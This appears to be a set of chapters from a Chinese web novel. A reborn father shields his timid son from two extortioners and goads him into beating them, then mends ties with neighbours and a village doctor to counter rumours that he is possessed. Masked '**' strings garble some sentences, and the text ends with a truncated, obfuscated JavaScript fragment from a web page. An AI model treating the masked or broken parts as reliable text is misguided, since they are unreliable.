这是他们平时讹诈他人时经常使用的套路与手段,江河的原身以前也没少跟在二人的屁股后面做过这样的腌脏事。
只是没想到,王铲与王能这两个黑心的东西,竟把这样的套路用在了**的身上。
“两位叔叔,算我求求你们,你们行行好……”**被推得一个踉跄,声音都带了哭腔,“这钱真不能动,不然没了粮种,明年我们家真的可能会饿**啊!”
“饿**?”王铲狞笑一声,“饿**岂不正好!你爹不是一直都嫌你们是累赘是赔钱货么,饿**正好也让你们爹解脱了!我们这也算是为兄弟分忧了!”
“就是!看看我们这些做兄弟的多够意思,多为自家的兄弟着想?”
王能也一脸狞笑走上前去,不再多说废话,对着**就是一阵拳打脚踢,看那架势,竟没有丝毫留手。
这一幕,看得江河不由一阵气血上涌,再也忍不住了,直接从墙后跳了出来。
“王铲王能!敢欺负老子的儿子,你们特娘的这是在找死!”
一声暴喝之后,江河便大步流星地冲杀过来,一拳捶翻王铲,一脚踹飞王能,将双手抱头挨揍的**牢牢护在身后。
只见他呼吸沉重,双目赤红,两只拳头攥得咯咯作响,死盯着刚刚从地上爬起来,还有些懵逼的王铲与王能,怒声叫骂道:
“两个不知死活的东西,打秋风竟打到老子的头上来了?!”
“还敢打老子的儿子,特么,老子的儿子,什么时候轮到你们两个杂碎来欺负了?!”
“现在,不想死的话,马上滚过来给我儿子磕头道歉!不然,老子今天捶死你们!”
第36章 我不是怂包!
江河的这具身体,虽然不事劳作,也没练习过什么武艺,但是却因为常年吃得好吃得饱,再加上他本身接近一米八的个头,整个人看上去异常强壮,也极有力气。
打起架来,寻常两三个人根本就不是他的对手。
这也是他之所以能在下河村里偷鸡摸狗,惹事生非,甚至欺男霸女这么多年,却少有人敢管的原因所在。
所以,当他从背后突然窜出,一拳一脚将王铲、王能二人打倒在地之后,王铲与王能全都被打懵了,疼得在地上直打滚。
他们咋也没有想到,江河竟然会这个时候突然出现。
更没想到,江河这个素来对他们言听计从,被他们给忽悠得找不着北的大傻叉,竟然敢出手打他们。
这特娘的是想要反了天吗?
原本正在挨打的**,看到突然出现的老爹,仿佛天神下凡一般,一拳轰倒王铲,一脚踹飞王能,只身挡在他的身前,宛如一座雄伟的大山。
再听到老爹冲着王铲、王能二人厉声暴喝,说出那句“老子的儿子,什么时候轮到你们两个杂碎来欺负了?!”时。
**瞬间就感动得鼻子一酸,眼泪哗啦啦的不受控制的不断往下滴落。
从小到大,十八年以来,他曾无数次幻想过自己也能有一个可以在他遇到危险,受人欺负的时候,可以及时出现为他遮风挡雨,护他安全的英雄一般的父亲。
可现实的情况却是,每次他被老宅或是村里的其他人欺负的时候,他爹不但不会为他出头,反而会骂他没出息,光知道哭哭哭,尽给他这个当爹的丢人。
**记得最清楚的一次,是他被村里的一群孩子围着打破了头,满头是血的哭着回家找老爹。
结果老爹不但没去替他去讨公道,更没有带他去看郎中,反而一巴掌扇在他脸上,骂他:
“没用的东西!打不过别人还有脸哭?!给老子滚,看见你就烦!”
自那以后,**就彻底**心,再也不敢指望老爹能保护他,会为他出头了。
每次在外面受了委屈,只能自己默默忍受,挨了打也只敢偷偷躲起来哭,不敢让老爹看见。
可是今天,他看到了什么?
那个十八年来都对他漠不关心,从来都没有为他主持过一次公道,出过一次头的渣爹——
竟然像他曾经幻想过无数次那样,在他受人欺凌,遭遇危险,感到恐惧害怕,孤立无助的时候,突然挺身而出,用坚实的臂膀护住了他,打跑了拦在他身前的所有牛鬼蛇神。
这一刻,**感觉就像是在做梦一般。
同时他也觉得,就算他现在这个老爹,真的是被什么邪祟给附体了,他也认了。
这样的爹,才是他梦寐以求的亲爹啊!
“爹……”**声音哽咽着唤了一声爹,眼泪不受控制的往下流。
江河闻声,回头看了这小子一眼,见他哭得像个娘们儿,不由微皱了皱眉头:“男子汉大丈夫,哭什么哭?!挨了揍,就想办法给老子揍回去!”
“我江河的儿子,可以无能,可以废柴,甚至可以蠢可以笨,但是绝对不能是个挨了打却连手都不敢还的废物与胆小鬼!”
“来,爹给你压着场子,你这就去亲手狠揍这两个刚才打了你的混帐东西!”
江河抬手指着对面的王铲与王能,怂恿着**上去揍人。
没办法,这小子的性格实在是太内向太懦弱了,都被人给欺负得这么惨了,他竟然还跟个鹌鹑似的,只知道抱着头被动挨打,连手都不敢还。
这怎么能行?
人善被人欺,马善被人骑,他江河的儿子可不能总是这么窝囊胆小,任人欺凌。
他非得想办法给这小子掰过来不可!
而眼前王铲与王能这两烂人,无疑就是最好的练手对象。
“啊?爹,这……这怕是有些不妥吧……”**习惯性的畏缩着后退了一步,不敢主动出手**。
这时王铲和王能已经哼哼唧唧的从地上爬了起来。
王铲捂着被打肿的脸,咬牙切齿的冲江河吼道:“江河!你**竟然为了个**崽子打兄弟,你还是不是人?!”
“就是,江河,咱们之间的兄弟情谊,难道还比不过你最瞧不上的废物老三?”
王能这才也捂着肚子,一脸痛苦的样子:
“你看你把我给打的,都快要吐血了都。我不管啊,今天这事儿,你要是不拿出两……五百文钱来赔礼道歉,以后咱们这兄弟就没得做了!”
都到这个时候了,这两个狗东西竟然还没忘了要讹钱。
“兄弟?还赔礼道歉?”江河轻呵了一声,直接被这两个没脸的东西给气乐了。
“我呸!”
紧接着,他毫不留情的冲二人狠啐了一口,冷声骂道:
“就你们这两个只会吸血的蛀虫,也配跟老子称兄道弟?也配从我这里拿走五百文钱?你们在想屁吃呢!”
“你……你这是什么意思?!”**河这样指着鼻子贴脸叫骂,王能不禁有些恼羞成怒:“江河,你
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可别忘了,以前是谁没日没夜的陪你喝酒解闷,又是谁在你遇到事儿的时候出手帮你收拾的烂摊子!”
“咋的,你现在有钱了,腰粗了,就开始嫌弃自己以前的兄弟了?!”
“喝酒解闷?收拾烂摊子?呵~!你特么竟然还有脸跟我提这些?”
江河再次被气乐了,冷笑一声道:
“你们自己说说看,以前哪次喝酒不是老子掏的钱?哪次搞出来的烂摊子不是老子替你们顶的缸?”
“你们这两个王八蛋除了会敲竹杠,会坑老子以外,还特娘的会干什么?!”
王铲被揭了短,瞬时气得脸色铁青,他抬手指着江河、**父子叫骂道:
“好!好你个江河!为了这么个废物儿子,连这么多年的兄弟情分都不要了!我们两个以前真是瞎了眼,怎么认下了你这样不讲义气的兄弟?!”
“你说什么,废物儿子?”
江河眼神一厉,猛地伸手揪住王铲的衣领,没有半点儿犹豫,一个大耳瓜子就呼在了他的脸上:
“老子再说一遍,老子的儿子如何,还轮不到你们两个杂碎来指手画脚、说东道西!”
说完,江河又猛的转头看向**,对着还在那里发愣的**吼道:
“老三,你还傻站着干什么?刚才他们怎么打你的,现在就给老子怎么打回去!”
“你要是不动手,老子一会儿连你也一块揍!”
**被老爹这凶狠暴戾的眼神吓得一哆嗦,但还是不敢上前。
王能见状,忍不住鄙夷一笑,阴阳怪气道:
“江河,看看你这好儿子,整个就是一怂包!你就是再借给他十个胆子,他也不敢动老子一下!”
一句“怂包”,直接就把**给刺激到了。
“我不是怂包!我不是怂包!我特娘的不——是——怂——包!”
想起刚才自己被两人欺负时的疼痛与**,还有老爹看向他时,眼中流露出来的那种恨铁不成钢失望眼神。
**胸中压抑已久的怒气终于被彻底引爆,只见他一边高声怒吼着,一边不顾一切的抬腿在王能的身上疯狂猛踹!
“哎哟!”王能没想到**这个闷葫芦竟真敢动手,一个没留神,瞬时就被踹倒在了地上,疼得直嗷嗷。
“对!就是这样!”
江河见状,不由咧嘴一笑,大声拍手向**鼓励道:
“好样的老三,继续给我打!踢他的腿,踹他的腰,对,就是这样,往死里揍他丫的!出了事爹给你担着!”
第37章 脱胎换骨
江河一边用胳膊勒着王铲的脖子,阻止他上去给王能帮忙,一边拍着手为自己的儿子加油鼓劲,还不时的出言指点两句。
**这小子虽然性子懦弱了一点儿,是个闷葫芦,但是赖好也已经十八岁了,长成了一个大小伙子。
而且,这几年跟个老黄牛一样,几乎天天都在地里忙活,外表虽然看着很瘦,但是那是真的有肌肉啊,一身的力气大得惊人,**那是真的疼。
几乎每一拳每一脚招呼在王能的身上,都能把这个矮冬瓜疼得哇哇乱叫。
刚开始的时候,王能不时还能还击两下,嘴巴也很硬气,一个劲的叫骂江河父子俩人不是东西,骂得那叫一个脏。
这也更加刺激已经在暴怒中的**,下手就更狠了。
只是几个呼吸的工夫,王能就彻底的被**给压在地上暴揍,再没有了半点儿还手之力,很快脑袋就肿成了猪头,说话都开始变得含糊不清。
“别……别打了……我错了……**贤侄,不,江爷爷……江爷爷饶命啊……真的不能再打了,再打可就要出人命了啊!”
王能终于扛不住,再也硬气不起来,开始哭爹喊娘地高声求饶。
做为村里有名的地痞二赖子,他们的拿手好戏就是欺软怕硬,攀高踩低,不要一点逼脸。
遇到好欺负的怂货,他们会死命的一直欺负。
遇到他们惹不起或是打不过的对手,他们也会跪得比谁都快。
就像是现在的王能,已经完全被**给打服了,打怕了,瞬间就放下了自己所有的脸面,开始低声下气的乞求起来。
只是**此时却是已经打红了眼,仿佛根本就没有听到王能的求饶,拳头还是如雨点一样不停的落下。
**的同时,他的嘴里还不停的吟叨着:“我不是怂包,我不是怂包,我特娘的不是怂包……”
这些年来他在家里受到的诸般委屈,被老宅的爷奶、二叔一家欺压的无尽憋屈,还有刚刚被王铲、王能二人堵着敲诈勒索时心中所产生的惶恐与惊惧,在这一刻全都爆发了出来,随着他这一拳又一拳的力道,尽数宣泄出来。
“行了,差不多就得了!江河,你特么还不快让你儿子住手,难道你还真想让他打死王能不成?!”
**河牢牢控制住的王铲看到王能的惨状,还有已经陷入疯狂状态中的**,不由大声劝阻喝止。
“切!”江河不以为意的轻撇了撇嘴,淡声道:“王能皮糙肉厚的,多打一会儿怎么了,了不起重伤,想死哪有那么容易?”
“你与其在这里担心王能那个坏种,还不如想想自己一会儿能挨我儿几拳。”
王铲闻言,面上的神色瞬间变得极为难看,再顾不得王能如何,沉声向江河头说道:
“江河,咱们这么多年的交情,你就真的一点情面都不讲?非要因为这点儿小事,跟我们彻底撕破脸吗?”
“交情?”江河嗤笑一声,忍不住反手在王铲的脸上轻拍了拍,冷声道:“你们把我当冤大头耍的时候,怎么不讲交情?之前欺负我儿子、勒索我儿子的时候,怎么不讲交情?”
“如果这就是你们所谓的兄弟情谊,老子特么不稀罕!以后在外面少跟老子称兄道弟,再敢跟老子胡乱攀交情,看我揍不揍你就完了!”
说着,江河一把将王铲推搡到**跟前,高声道:
“老三,这个逼玩意儿也别放过!刚才他不是也对你动手了吗?给老子往死里打!”
**闻言,直接撇过已经躺在地一动不动的王能,红着眼睛就朝王铲扑了过来。
王铲吓得连连后退,色厉内荏地喊道:“**!你敢!我可是你叔……”
“我去**叔!”**怒吼一声,一记重拳狠狠砸在王铲脸上。
这一拳含怒而出,直接把王铲打得眼冒金星,鼻血直流。
“打得好!”江河在一旁鼓掌叫好,“就这么打!让他也尝尝被人欺负的滋味!看他以后还敢不敢再对咱们爷们呲牙!”
有了老爹的鼓励,**变得更加兴奋了起来,完全放开了手脚,对着王铲就是一顿王八拳。
王铲想要反抗,可他已经被酒色掏空的身子,哪里会是常年务农劳作的**的对手。
只是三两下的工夫,他就如方才的王能一般,被**压在身下一阵输出。
“江河!**,你们两个王八蛋,有种今天就弄死老子!否则以后老子跟你们没完!”
王铲双手护头,一边挨打一边咬牙切齿的撂着狠话。
“还敢威胁老子?”江河也忍不住上前狠踹了一脚,冷声道:“看来还是打得轻了!老三,继续打!打到他服软为止!”
**用力点头,咬着牙,憋着气,两只沙包大的拳头如雨点般朝王铲的身上落下。
这么多年来,他这还是第一次感受到奋起反抗的快意,第一次体会到有人给自己撑腰的踏实感与安全感。
不得不说,这种感觉,真是棒极了!
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*越打越心情舒畅,越打越意念通达,整个人都仿佛在这一刻脱胎换骨了一样。
而王铲,起初还在硬撑,但随着身上的疼痛越来越剧烈,脑袋也越肿越高,他终于也扛不住了。
“别打了……我服了……真的服了……”王铲抱着头蜷缩在地上,声音里带着哭腔,“以后再也不找你们麻烦了,见了你们我特么都绕道走,求你们了,饶了我这次……”
江河见状,这才示意**停手。
蹲下身,看着已经鼻青脸肿的王铲,还有旁边同样在不停哼哼唧唧的王能,厉声警告道:
“记住你们今天说过的话,以后若是再让我看见你们欺负我儿子或是我的家人,下次可就不是挨顿打这么简单了!”
王铲、王能闻言,连连点头,哪里还敢说半个不字。
现在他们只求这场风波快点儿过去,眼前这俩活阎王赶紧放他们离开去瞧郎中。
他们的脸上还有身上,现在都没有一块好地方了,实在是太疼了,感觉骨头都断了好几根。
“行了,滚吧!”
江河你驱赶苍蝇一样的冲他们挥了挥手,二人如蒙大赦,强忍着身上的疼痛,连滚带爬的飞速逃离远去,片刻就不见了身影。
看着两人离去时的狼狈身影,**这才长松了口气,整个人像是虚脱了一样,一屁股坐在地上。
“没出息!”江河轻踢了他一脚,嫌弃撇嘴道:“这就累着了?”
**抬起头,泪痕还未干的脸上,却露出一个灿烂无比的开怀笑容:“爹,我……我们打赢了!”
这一刻,他感觉自己像是获得了新生。
原本堆叠在他身上的层层枷锁,也仿佛在他刚刚的肆意宣泄之中,尽数分崩离析,不复存在了!
江河看着**这副模样,心里也不免有些触动,他伸手把**从地上拉起来,定声道:
“不是我们打赢了,是你打赢了!”
“你给老子记住了,你**现在已经是一个顶天立地的男子汉了,你完全有能力来保护自己,保护自己身后的家人!”
“爹希望你能记住今天这种感觉,以后只流血不流泪!谁若是不开眼,想要再像以前那么欺负你,你就这么直接打回去!打到对方服气、求饶为止!”
“要是实在打不过的话,就来找爹,爹帮你出头!”
“嗯!我记住了,爹!”
**重重点头,眸中有光,平常略微佝偻着的身形也不自觉的挺直了几分。
第38章 浪子回头金不换
隔壁,王老四家。
王老四和媳妇躲在院门内,透过篱笆墙的缝隙看到了发生在江河家门前的这一幕,脸上皆都露出了不可思议的神色。
“真是不得了了,江河这家伙竟真的完全转性了。
你看他刚刚,竟舍得为了他们家最不争气的老三,跟王铲、王能闹掰了,甚至还指使着**打了他们一顿,这要是放在以前,谁敢相信?”
王老四惊声感叹,看着被打成了猪头的王铲与王能落荒而逃的狼狈样子,心中也倍感痛快。
做为江河这个二赖子的邻居,王老四一家以前可是没少**河、王铲与王能这三个混蛋玩意儿骚扰、欺负。
现在看到这三个家伙闹掰了,在这里狗咬狗,尤其是王铲与王能这两个狗东西全都被揍成了猪头,惨兮兮的样子,怎么看怎么让人高兴。
可惜的是,王铲与王能二人太过废物,竟然没能反过来再狠揍江河一顿。
要是他们也能把江河这狗东西打成猪头,双方两败俱伤,那今天这事儿可就算是极为完美,都值得他晚上喝一盅了。
“确实是有些稀罕呢。”
王老四媳妇刘桂花也点着头,满眼稀奇。
“以前江河最瞧不上的就是他们家老三了,平日里不是打就是骂,啥时候对**这么关心照顾过?”
“方才看到江河突然出现的时候,我还以为这狗东西还会像以前那样,上去就对**一顿毒打,然后把江河身上的钱全都搜出来,跟王铲、王能两个一起去吃酒耍钱呢。”
王老四脸上露出深以为然之色,这在以前可是常态,半点儿也不稀奇。
反倒是今日,江河竟然毫不犹豫的站在了自己儿子一边,指使着**暴揍了王铲、王能一顿,稀罕得很,也反常得很。
所以他才会觉得江河这老小子,突然就转性了,终于知道这世上到底谁才是他最亲近,最值得信任与依靠的人了。
“当家的,你说这江河,不会是被什么脏东西给附了身了吧,不然的话,他怎么可能会突然跟换了个似的,变化这么大?”
刘桂花突然神神叨叨的向自家男人说道:
“前天下午,江河明明都已经**,江家的那群小辈连孝衣都穿上了,哭了整整一夜啊,吵得我都没有睡好觉。”
“还有江家老二江天,天刚蒙蒙亮,就带着儿女匆匆从县里回来奔丧,听说连棺材都已经订好了,准备隔天就下葬。”
“结果,昨天半晌时,原本已经死掉的江河,竟然说醒就醒过来了,你说这有多邪门儿?”
“现在村里有好多人都在私下悄悄议论,说江河死而复生,是被邪祟附了全,身体里面的魂儿早就已经被邪祟给替换掉了。
所以他醒来后才会一改常态的直接与老宅断了亲,甚至还倒反天罡的打了自己的亲爹亲娘……”
“行了行了,别在这里胡说八道了。”
王老四忍不住出声将媳妇的话打断,道:
“这世上哪里有什么邪祟,你少听村里那些喜欢颠倒是非的长舌妇瞎说八道。”
“今天早上我下地的时候,碰到村东头的贾郎中,听贾郎中说江河之所以会性情大变,就是因为摔倒时伤到了脑子,跟其他乱七八糟的东西没有任何关系。”
“还有,所谓的死而复生,那就更简单了,贾郎中说江河当时只是闭了气,根本就没有真的死掉,在床上躺了一夜,那口气缓过来了,自然也就醒来了。”
闻言,刘桂花将信将疑道:“可这也太巧了吧?伤到脑子就能让人性情大变,变得连自己爹娘都不认了?我以前咋从来都没听说过?”
“你一个乡下村妇知道个甚?”王老四道:“人贾郎中都说了,人的脑子最是精贵,伤到不同地方,症状也不一样。”
“有的人会变傻,有的人会失忆,像江河这样性情大变的也不是没有,他以前在县医馆当学徒的时候就曾见过几例。”
说到这里,他顿了顿,压低声音道:“再说了,就算真是邪祟附体,那又怎样?”
“你看看现在的江河,不但知道护着自家的孩子了,还懂得跟左邻右舍来往交好,更是直接与王铲、王能那样的狗东西断了关系,这样的‘邪祟’,我倒希望能再多来几个!”
刘桂花想了想,也不由点头道:“这倒也是,今天江河还让咱家小豆带了油渣回来,这可是破天荒头一遭。”
跟江河做了二十几年的邻居,这确实是他们头一次见着江河主动往外送东西,害得他们都以为这又是江河的什么阴谋诡计呢。
“所以啊,”王老四总结道,“不管他是什么情况,只要他以后不再祸害乡邻,知道顾家护崽,那就够了。咱们做为他的邻居,也能跟着太平
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几天不是?”
正说着,院门外传来江河的声音:“王四哥在家吗?”
夫妻俩对视一眼,王老四连忙上前开门,招呼道:“在呢在呢,江河兄弟有事?”
江河站在门外,手里提着一块用草绳串着的五花肉,约有半斤左右,笑向王老四道:
“今天多买了些肉,家里有些吃不完,便想着送过来给家里的孩子们解解馋。”
“另外,也顺便感谢一下四哥四嫂,能把家里的独轮车借给了我们家老三。”
“老三那小子就是个闷葫芦,借车的时候怕是连句谢都不会说,我这个当爹的可不能揣着明白装糊涂。”
王老四和刘桂花都愣住了。
江河竟然亲自给他们送肉来了?
而且听这话意,就是因为他们把家里的独轮车借给了**去买粮种,他就直接提了半斤肉过来感谢。
这也……太大方了吧?
这年头,谁家的日子都不好过,一年到头,除了过年的时候,谁也舍不得多买一点儿荤腥肉食。
可是现在,他们只是借**用了一下家里闲置的独轮车,江河竟直接送来了半斤五花肉做为感谢。
实话实说,这谢礼,着实是丰盛得有些过了头了。
“这、这怎么好意思……”王老四看了眼那块油汪汪的五花肉,吞咽了口口水,口是心非的推辞着。
“王大哥就别跟我客气了。”
江河直接把肉塞到他手里,诚声道:
“以前是我不懂事,给你们添了不少麻烦。不过现在,我江河已经幡然醒悟了,以后绝对不会再无事生非,给你们添堵了。”
“都说远亲不如近邻,我希望咱们邻里之间日后还是要多来往,互相照应嘛。”
看着江河脸上没有丝毫做作的诚恳笑容,王老四微微点头,顺势接下来了江河手中的谢礼。
现在他终于相信,他们隔壁的这个邻居,是真的浪子回头了。
送完肉,江河没有多留,直接就告辞离开了。
刘桂花看着王老四转手递给她的五花肉,有些犹豫道:“当家的,你说这肉……咱能吃吗?”
王老四笑道:“有什么不能吃的?我看江河是真心想跟咱们缓和关系,而这块肉,既是谢礼,也是赔礼。”
“所谓浪子回头金不换,以后啊,咱们也该适当的改变一下对他的看法了。”
第39章 谣言
从王老四家离开后,江河没有直接回家,而是径直走向村东头,去了贾郎中贾不为的家中。
当他走到贾郎中家的院门前时,手中已然又多出了半斤水灵灵的五花肉和二斤上等的精品湖盐。
刚刚王老四两口子之间的对话,他也隐约听到了两句。
当他听到现在村子里面就已然有了关于他是邪祟附体的谣言之后,心中不由一凛。
他明显的预感到,这是有人想要搞他啊。
而其中最大的可能,就是老宅的江十二与王三妮那两个老东西。
尤其是王三妮,在原身的记忆中,她可是最喜欢这些神神叨叨的东西,而且还跟村里的赵神婆关系极好。
昨天她在江家吃了那么大的亏,甚至连右腿都**河给踹断了,还**河给讹走了足足一贯钱,她能咽得下这口气才是怪事。
现在村子里突然多出了这些不利于江河的奇怪言论,明显就是有人想要造谣生事,想要借机把他江某人污蔑成是鬼怪邪祟,进而再以除邪祟之名,将他彻底的置于死地!
而现在,能够助他免除邪祟之名的,除了**、赵穗等这些最为亲近的家人之外,也就只有为他瞧病看伤的贾郎中了。
家人这边,经过这两日之间的相处与改善,江河觉得应该问题不大,毕竟他就算是再差,难道还能差得过原身那个狗东西?
哪怕他真的是什么邪祟附体,江河相信**、赵穗他们也知道该选择谁来当他们的亲爹。
现在问题的关键就在贾不为这个村医身上了。
虽然从王老四的话语之中,江河也听出了贾郎中相对公正的医道评论。
但是,他之前毕竟曾跟贾郎中父子闹过一些不愉快,甚至还逼着贾大发当众向**鞠躬道歉。
江河担心贾郎中会因此心生芥蒂,或是被王三妮等一些有心人给收买了,突然改口,与他人一同污蔑于他。
这才不得不提前过来探探口风,并送上一些好处,也算是有备无患,防患于未然。
江河赶到贾家的时候,贾不为正在院子里收已经晾晒好的草药,见江河提着东西进来,不由一愣。
“江河兄弟,你这是……”贾郎中疑惑地看了眼江河手中的肉和盐,之后抬头向江河看来。
江河笑着将东西放在院中的石桌上,客气道:“贾郎中,不为大哥,昨日多亏你妙手回春,这才救了我一命。这点心意,不成敬意。”
贾不为连忙摆手道:“江河兄弟太客气了,治病救人是医者本分。况且我也是收了诊金的,你完全没必要如此客气,这些东西还是拿回去吧。”
作为村里唯一的村医,贾不为家里的条件其实还是不错的,虽然不敢说顿顿都能有肉吃,但是隔上十天半月开一次荤还是没有任何压力的。
所以,他并没有**河送来的五花肉还有精盐给迷了眼。
反而还因为江河这突如其来的热情,被搞得心中有些忐忑与警惕,不知道这个二赖子又想要搞什么幺蛾子。
“贾郎中千万别推辞,”江河诚恳道,“除了感谢您的救命之恩,我还想请你帮个忙。”
“什么忙?”贾不为警觉地看着江河,探声询问。
他就知道事情没那么简单。
以前的江河可从来都不会对他这么客气,现突然拎着礼物找上门来,必有所求。
虽然还不知道江河所求为何,贾不为便已经在心里想好了拒绝他的种种理由。
毕竟,江河以前在村子里的人品,简直没法提,如果可能的话,他是真的不想跟这个二赖子扯上半点儿关系。
哪怕现在的江河似乎已经变了性情,不再像以前那般混蛋,但是他只是伤了脑袋,又不是换了脑子,万一以后他头上的伤好了,又变成以前那个混不吝了怎么办?
所以眼下最好的办法,就是少跟这种人打交道。
江河仿佛没有看到贾不为眼中的警惕与嫌弃,故作为难的长叹了口气,道:
“不瞒你说,我听说现在村里有些风言风语,说我是邪祟附体,身上有了脏东西,已经不是原来的江河了……”
江河的话还没有说完,贾不为便已然明白了他的来意,脸色也不由跟着缓和了许多。
“江河兄弟放心,我贾某人行医多年,不敢说医术有多高明,却知道这世上从来都没有什么邪祟。”
“你前日只是闭气假死,加上头部受伤导致性情大变,这都是有医理可循,作不得假!”
“以后谁要是敢拿这种事情污蔑你是鬼怪附体,是什么邪祟,你就让他们来找我,我来给你作证!”
贾不为的声音铿锵有力,态度也十分坚决明朗。
做
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为一名医者,他最不能容忍的事情就是,有人把正常的疾病归结到什么神神怪怪的事情上去。
生病了不去请医师,反而去请和尚、道士,或是只知道搬弄是非的神婆,来驱邪避灾,喝什么乱七八糟的符水。
这不止是对病人的严重不负责任,更是对他们医师这个职业的极端挑衅,同时也会对他们医馆的生意造成很大的影响。
这种事情,换作任何一名医师,都绝对不能忍。
否则,一旦有人开了这个头儿,大家以后有个头疼脑热的病症,全都去找和尚、道士或是神婆来做法驱邪,那他们家的生意还做不做?
年底县医馆的上医们下来考评他业绩的时候,他岂不是得吃不了兜着走?
所以,这件事情,哪怕是江河今天没有过来求他,贾不为也绝对不会袖手旁观。
事实上,他已经在有意无意之间为江河澄清了。
之前在村口跟王老四几人聊天的时候,他就刻意提起过这件事情,向王老四他们解释了江河性情大变的诸般原因,为的就是借他们的口,提前扑灭那个什么邪祟附体的传言。
只是,让贾不为没想到的是,江河这小子竟然也提前察觉到了这些谣言之中所隐藏着的凶险,并特意上门来向他求助。
这要是放在以前那个混不吝的江河身上,怕是听到相关的消息后也根本不会当回事儿,更意识不到其中所隐藏着的足以害人性命的极致凶险。
看来,被磕到脑袋之后,这小子反而是因祸得福,彻底开窍了。
“有贾郎中这句话,我就放心了。”
见贾不为这般配合,甚至表现得比他这个当事人还要积极上心,江河心神一动,很快就想通了其中的关节,不由轻松了口气。
从某种程度上来说,在这件事情上,他与贾不为这个郎中算是站在了同一条战线上。
他们都不希望邪祟附体的传言,在村子里闹得沸沸扬扬,更不希望这种怪力乱神的迷信言论,会造成什么不良的后果。
从这方面来讲,贾郎中应该是可靠的,不大可能会被王三妮等人给收买了去。
这对于江河来说,绝对算是一个好消息。
只要贾郎中这里不翻车,家里人又全都站在他这一边,村里那些个别有用心的家伙,就翻不起什么大的风浪来。
第40章 棒棒糖的威力
天刚擦黑的时候,一直在地里忙活的赵穗、罗灵、江源等人才拖着浑身的疲惫从地头回来。
一进家门,脸都顾不上洗,赵穗与罗灵就钻进了灶房之中,开始准备今天的晚饭。
江源在猛灌了一肚子凉水后,一屁股坐在院子里的竹凳上,再也不想起来。
江沫儿则带着四个小侄儿、小侄女儿,继续在院子里玩耍,不让他们找大人闹腾。
江河原本躺在屋里假寐,听到外面孩子们的喧闹声,便起床走出了堂屋。
“爹!”
“爷爷!”
见江河出来,江源连忙从竹凳上站起身来,开口向江河问好。
江沫儿、江娴、江涛、江夏、江琴等五个孩子,也全都止住了原本喧闹的动作,怯生生的朝他看来。
尤其是江娴与江涛这两个老大家的孩子,看到爷爷朝他们看来,紧张得甚至撇嘴想哭。
搞得江河感觉自己就像是这个家的大魔王,一出场就把所有人的快乐全都给终结掉了。
果然啊,想要凭借着一两顿饭,就让家里的这几个孩子改变对他这个渣爹、渣爷爷一直以来的固有看法,并没有那么容易。
这几个孩子,甚至包括**、赵穗、罗灵这几个大人,心里面对他的恐惧及敬畏,几乎都已经成了刻印在他们骨子里的习惯与本能了,绝对不是一朝一夕就能完全改变得过来的。
不过,让江河感到有些欣慰的是,这几个孩子虽然心里畏惧他,不敢与他靠得太近,但是却依然对他这个爹和爷爷恭顺有加,不敢有半点儿逾越之举。
他还发现,年纪最小的江夏与江琴两个小丫头,在看向他时的目光中,除了原本的畏惧之外,还隐隐多了一丝好奇与期待。
江河知道,年纪越小的孩子,心性越是单纯,对他人善意或是恶念的感知就越是敏锐与直观。
这两个小家伙肯定是感受到了他身上时刻散发出来的善意气息,再加上昨天还有今天接连两顿带肉和蛋的饭菜,让她们变得已经不是那么惧怕他这个爷爷了。
江河感觉这两个小丫头,应该就是他改变与这几个孩子关系的突破口。
他目光温和的看着江夏与江琴,缓缓蹲下身来,尽量让自己的表情也看起来更加的温和慈善一些。
他抬臂朝着两个小孙女招了招手,轻声道:“江夏、江琴,来,过来爷爷这里,爷爷有好吃的给你们哦!”
两个小丫头眨着一双明亮的大眼睛互相看了一眼,稍稍犹豫了一下,还是迈着小短腿缓步朝着江河走了过来。
只是还没有等她们走到江河跟前,就**沫儿伸手给拦了下来。
“爹,江夏、江琴她们还小,不懂事儿,要是她们犯了什么错,惹你生气了,你……你要打的话就直接打我好了,是我这个当小姑的没有照看好她们!”
小江沫儿挺胸挡在江夏与江琴两个小家伙的身前,摆出一副视死如归的英勇模样,小脸煞白的看着江河。
显然,她以为江河又要像以前那样,在家闲着没事儿打孩子玩儿,担心两个小侄女儿被打坏了,这才义无反顾的挺身而出。
江河多有意外的看着这个明明已经怕得要死,却依然坚定无比的挡在两个侄女儿身前的江沫儿,眼中不自觉的泛一丝赞许之色。
不得不说,他的这个小女儿虽然年岁不大,但是却胆气十足,也极有担当。
至少要比之前遇事就只知道哭唧唧的老三**强了不知多少倍,以后倒是可以多加培养一番。
“谁说我要打他们了?”
江河摇头轻笑了一声,同时抬手在江沫儿的小脑袋上轻拍了拍,道:
“我刚刚不是说了吗,我这里有好吃的要给他们!”
“不过,看在你这么懂事,还知道保护自己小侄女儿的份上,这好吃的也有你的一份!”
说着,江河从怀里掏出了三根已经去了包装的棒棒糖,在江沫儿的眼前晃了晃。
透明的糖球裹着红黄相间的纹路,下面还插着一根细长的小木棍,造型十分奇特,是江沫儿几个孩子从来都没有见过的样式。
不过,在闻到糖球上散发出来的诱人的香甜气息之后,几个孩子瞬间就沉醉其中,口腔之中不断有津液分泌而出。
江夏、江琴两个小丫头,更是控制不住的流起了口水,眼中满是对这种奇怪糖果的渴望。
“来,尝尝看,保证你们会喜欢!”
江河见状,脸上的笑意更甚,缓缓将手中的三颗棒棒糖递向了江沫、江夏与江琴三人。
旁边的江源、江娴与江涛见状,也都眼巴巴地看着江河手里的棒棒糖,连最胆小的江娴都忍不住往前凑了凑,伸出小舌头不断的舔着自己的嘴唇。
江河看着另外三个孩子投来的渴望的眼神,不由轻笑了起来。
果然,不管是在哪个时代,都没有几个孩子能够抵挡得住糖果的诱惑。
他今天签到得来的这些棒棒糖,不管是质量还是甜度,都足以碾压这个时代所有的同类糖果,绝对是拉近他与这些孩子们之间关系的神兵利器。
江沫儿、江夏与江琴一脸欢喜的接过江河递来的棒棒糖。
“谢谢爹!”
“谢谢爷爷!”
三个小家伙一边脆声向江河道谢,一边迫不及待的将手上的糖果送入口中。
嗯~!
三个丫头脸上同时露出了惊喜、欢愉且满足无比的神色,双眼都不自觉的微眯了起来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 